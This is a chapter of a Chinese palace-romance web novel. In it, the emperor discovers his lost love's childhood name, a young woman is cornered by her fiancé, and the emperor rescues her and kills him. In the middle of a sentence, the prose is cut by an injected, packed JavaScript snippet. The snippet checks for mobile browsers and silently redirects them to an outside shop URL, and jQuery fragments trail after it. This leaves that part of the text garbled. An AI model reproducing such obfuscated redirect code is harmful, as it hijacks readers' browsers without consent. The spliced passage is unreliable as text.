52. 真相

作品:《皇后娘娘她不装了

    郊外一处密林。


    “陛下请过目。”


    乔景羽拍了拍手上的尘土,打开包裹,双手捧上里边发黄的账册。


    赵珩接过翻看几下,目露赞许:“想不到世子仅凭席间匆匆几眼,便能断定密道的出口。”


    “陛下谬赞,不过是运气罢了。”


    “世子不必谦虚。”赵珩轻笑了下,“要是大理寺的官员都有你这般得力,王原那个老家伙也不会日日上书抱怨无人可用了。”


    乔景羽动作一顿:“陛下说的可是大理寺卿王大人?”


    “正是。”赵珩微一颔首,“怎么?世子与王大人有旧?朕从前倒未听说清远侯与王大人有何瓜葛。”


    乔景羽摇头:“王大人清廉严正,断案如神,微臣仰慕已久,未尝有幸讨教。”


    “无妨,朕改日替你们引荐一番便是。”赵珩随意道,收起账本便要走。


    “陛下。”乔景羽似乎犹豫了许久,终于下定决心,忽然屈膝跪地。赵珩脚步一顿。


    “微臣有一不情之请。”


    赵珩并未回头,唇角掠过一丝不易觉察的笑:“讲。”


    “微臣……想去大理寺。”


    “哦?”赵珩这才回首看他,“你可是探花郎,清流出身,放着翰林的大好前途不要,要去大理寺?”


    “读书做官,本就是为了造福百姓。”乔景羽语气坚定,埋首应道,“大理寺,才是最适合臣的地方。”


    “起来吧。”皇帝的声音似乎带了点笑,“朕准了。”


    这就……准了?


    等到乔景羽三拜九叩完,眼前早已不见皇帝的身影,他循着脚印连忙跟上。


    气喘吁吁到了皇帝跟前,刚要行礼,只听脚下树叶沙沙作响,周围掀起一阵阴风,一道黑影闪过,从天而降稳稳落在二人面前。


    乔景羽当即上前半步,闪身挡在黑衣人和皇帝之间:“陛、陛下,你快走。”


    竹影:……


    黑衣人抬起的手一顿,换了个方向面朝皇帝半跪,扯下面罩:“属下参见陛下。”


    乔景羽一怔,面色难得窘迫,不动声色地退开几步。


    “查到了么?”


    皇帝的声线依旧平淡,却不难听出里面暗含的一丝期待。半跪着的人深吸一口气,颓然低下头,极其缓慢地摇了摇。


    双拳握紧又松开,赵珩默然不语。


    怎么会?


    明明那么像……难道真是他看错了?


    脑中不断回想着过往种种,新旧交杂、纷繁凌乱……回忆分崩离析,化成碎片,如同漫天雨点,将他心底那团火焰一寸一寸彻底浇灭。


    那张肆意纯真的笑脸,他本该忘却的,可是,他还是做不到。


    思绪混沌间,天空细细密密地落下银线。


    一颗雨珠恰巧落在眼睫,一眨眼便滑落到脸颊,带着夏日独有的暑气,湿润的,燥热的。


    心底那堆灰烬没来由地冒出一个小火星。


    透过雨幕,他忽然驻足,面朝那道挺拔的青色身影,不死心地道:


    “乔世子,你有没有听过‘谢不言’这个名字?”


    “谢不言?”乔景羽的声音一如既往的平静,似乎奇怪皇帝为何突然问起。


    他回忆了下,忽然恍然大悟:“不知陛下所指何人……臣仿佛记得,皇后娘娘小时候给自己起了个名字,就叫这个。”


    “……你说什么?”


    话音未落,皇帝的手已死死地拽着他的衣领,双目通红,来势汹汹,像是要杀人。


    “我……”乔景羽吓了一大跳,连自称都忘了,勉强稳住声音才答,“臣方才说的是,皇后娘娘以前,就叫这个……”


    赵珩加重了手中的动作,几乎要将对方提起来:“你确定?叫谢不言的,不是你夫人?”


    “怎、怎可能是我夫人?”乔景羽惊得张大了嘴,“我与夫人自小一起长大,她不可能有过这个名字。”


    皇帝迫人的目光从上到下审视了许久,脖颈间的力道突然消失。


    赵珩忽而极轻地笑了下,拍了拍他的肩,甚至顺手帮他理了下凌乱的衣领。


    “乔世子,多谢你。”


    *


    芳兰院的下人马不停蹄跑到主院,主屋却门扉紧闭,门口的下人以老爷有要事为由,将他毫不留情地挡在门外。情急之下,他只好在门外喊起来,刚喊出半句,家丁还没来得及把他拉走,门便被人从里推开。


    赫然是今日的贵客之一——世子夫人。


    小厮于是趁机挣开两人的钳制,小跑上前,把剩下半句喊完。


    谢槿柔跨过门槛,冰冷的视线扫过院中报信的小厮:“既然府里妾室出了事,梅老板还是去看看吧。”


    梅荣紧随其后,深深看了她一眼,神色复杂,犹豫几下,道:“那我过去看看,可否劳烦夫人在此稍等片刻?”


    “不必了。”谢槿柔并未回避他的目光,毫不犹豫地拒绝,神情和声音一样冷淡,“该知道的我都知道了。今日多谢梅老板解惑。”


    梅荣双唇颤了颤,那双饱经风霜、稍显浑浊的眼中闪过一丝不易察觉的湿润。


    “好。”


    目送着他的背影消失在院门口,谢槿柔正要跟着离开,前方却突然传来一声厉喝。


    “老爷的院子,是你一个小丫鬟想进就能进的吗?!”


    “大哥,我、我真的有急事,”一道因急促而显得尖利的女声传过来,“或者你能不能告诉我,世子夫人可在里边?”


    谢槿柔不由皱眉,走到跟前:“你找我何事?”


    “世子夫人?您没事?!”小丫鬟气还未喘匀,先是惊喜,而后又焦急道,“庄小姐可在这里?”


    “我?”谢槿柔闻言,心下浮起不好的预感,眉头皱得更深,“出什么事了?”


    “奴婢云袖,是徐太太房中的,方才太太小产,庄小姐才去看过,又匆忙走了……”云袖忽然顿住,看了眼旁边的家丁,深吸一口气,声音压低几分,“太太吩咐叫小姐留步,可奴婢追出门,四处都未见小姐的身影,猜想小姐兴许会来寻夫人,才来了此——”


    “——她不在这里。”谢槿柔霎时心急如焚,唇色发白,打断云袖的话,竭力压下颤抖的声线,“你先回去,此事交给我。”


    没等云袖回答,对方已远远将她甩在身后。思忖半刻,云袖悄悄跟了上去。


    谢槿柔并未察觉身后的异样,心中闪过无数种可能,连仪态都顾不上了,三步并作两步闯入一方院落。


    ——景昭公子借住的院子里空无一人。


    正当她旋身要去往芳兰院求助时,忽有一青一白两道身影出现在门口。她无暇欣赏,上前一把抓住乔景羽的袖子,却扭头对着皇帝说:“绾……庄小姐不见了!”


    乔景羽大惊:“你说什么?”同时看向身侧的男人。后者什么都没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843982|188985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说,面色阴沉地旋身就要走,被乔景羽大着胆子拦住。


    “陛下,我有个想法。跟我来。”面对皇帝不解的目光,乔景羽立刻收回手,讪讪解释道。


    说着便朝前走去。皇帝毫不犹豫跟上去,谢槿柔紧随其后。


    不远处的云袖死死地捂住自己的嘴,手心被咬出深深的一道齿痕,才能勉强让自己不发出一丝一毫的声音。


    她想过这两个人身份不低,可就是做梦她也想不到,那个景昭公子,竟然会是当今天子!


    云袖背靠墙根,凄然地滑了下去,将自己的前半生从头到尾回顾了一遍。终于,她抹了把眼泪,扶着墙想站起来。


    刚一动弹,脖颈传来一阵冰凉。


    一道冷冷的声音:“别动。”


    她下意识动了下腿,那柄匕首作势就要往前压。


    云袖大惊失色:“腿、腿麻了!”


    *


    身后那道阴寒的声音响起,谢槿语迅速转身去推院门,果然纹丝不动。


    “别费力了,没人会来的。”


    “等我把那个老东西结果了,这里就都是我们的了。”梅羡之笑得愈发阴森,“不过现在我等不及了,只能先娘子在这里凑合一下了。”


    谢槿语不住退后,背着手去摸袖中藏着的匕首。


    “梅公子说笑了。你我既有婚约,还是明媒正娶后再行事的好。”


    他拆下腰间系着的长鞭,在地上甩出一记响亮的鞭声,讥讽道:“庄小姐,我劝你不要敬酒不吃吃罚酒。乖乖从了我,还能少受点苦。”


    脊背重重撞上墙面,谢槿语心头一凛,眼睁睁看着那张狰狞的面庞逼近,屏息凝神,攥紧手中刀柄。


    千钧一发之际,她正要动作,眼前那张脸却倏然扭曲变形,整颗头颅以极其诡异的角度歪向一边,喉间发出一声断裂般的轻响。


    沉重的身躯轰然倒地,尘土飞扬。


    扭曲的脸庞后面,一张清俊出尘的面容蓦然显露出来。


    长眉入鬓,高鼻薄唇,一副极好的相貌,此刻却阴沉冷峻,眸底杀意凛冽,眉宇间仿若凝着积年冰霜,周身散发着生人勿近的森寒戾气,叫人看一眼便不寒而栗。


    谢槿语惊魂未定,一时间不知该看哪边。


    尸体固然吓人,可是他这样……好像更可怕。


    犹疑间,那只悬在空中还未收回的手忽然往前探了探,似乎想要摸她的脸。


    那双平日里淡漠疏离的眼眸此刻仍残留着猩红的血丝,那只执笔挥毫的手……慌忙移开眼,她下意识瑟缩了下。


    指尖在离她面颊不过寸许的距离停住,颤了下,最终还是收了回去。


    他垂下眼帘,掩去眼底尚未消散的狠戾。


    赵珩忽然有些无措,嗓音微哑:“我是不是……吓到你了?”


    他知道自己是明知故问。那双晶亮的眼眸分明写满了恐惧。


    袖中的手攥得更紧,指甲几乎嵌入掌心。他唇线抿得僵直,心口像是被什么狠狠攥住,密密麻麻的懊悔与自责如潮水般涌来,几欲将他淹没。


    正要转身,胸膛忽然被人闷闷地撞了下。


    她的身体贴靠过来,双臂环在他腰际,脑袋在他胸口不住地蹭。


    温热的泪水一滴滴浸透衣料,贴在心口的位置,烫得他心脏倏而发紧,


    赵珩顷刻收紧双臂,不住亲吻她的发顶。


    “对不起,我来晚了。”